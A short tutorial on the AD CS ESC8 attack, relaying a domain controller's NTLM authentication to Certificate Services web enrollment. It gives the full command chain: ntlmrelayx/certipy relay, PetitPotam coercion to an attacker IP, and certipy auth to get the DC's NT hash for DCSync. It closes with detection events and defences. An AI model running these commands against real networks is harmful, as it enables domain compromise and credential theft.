ADCS ESC8 (NTLM relay to AD CS)

ESC8 abuses the Web Enrollment of Active Directory Certificate Services (the HTTP endpoints http://<ca>/certsrv/ and certfnsh.asp). By default they accept NTLM authentication over HTTP with no signing or EPA (Extended Protection for Authentication), so an attacker can relay a machine account's NTLM authentication to the CA and request a certificate on that account's behalf. With the certificate you do PKINIT to get a TGT (or the NT hash), which usually ends in domain control if you relay the DC's own account.

The chain is coercion + relay + certificate issuance. First bring up the relay pointing at the CA's web endpoint and a template that allows machine authentication (Machine/DomainController):

impacket-ntlmrelayx -t http://<ca-host>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# certipy relay -target http://<ca-host> -template DomainController

Then coerce the DC (or another machine) into authenticating to us, with PetitPotam / PrinterBug:

python3 PetitPotam.py <attacker-ip> <dc-ip>

The relay obtains a certificate for the DC in base64. Convert it to .pfx and use it for PKINIT to pull the DC's NT hash, which opens a DCSync:

certipy auth -pfx dc.pfx -dc-ip <dc-ip>   #  TGT + NT hash of the DC$ account

How to detect it. The signature is in the CA logs (event 4886/4887, certificate requested/ issued) for a machine account that does not normally request certificates, correlated with an NTLM logon event (4624 type 3) from an unexpected IP and a preceding coercion (MS-EFSR/MS-RPRN traffic to the attacker). A certificate issued to DC$ with a machine template is a clear indicator of compromise.

Defence. Enable EPA and require HTTPS on the CA Web Enrollment, disable the HTTP endpoints if unused, and enforce SMB/LDAP signing; patch the coercion (PetitPotam). It is the relay variant of ESC1 and relies on NTLM relay.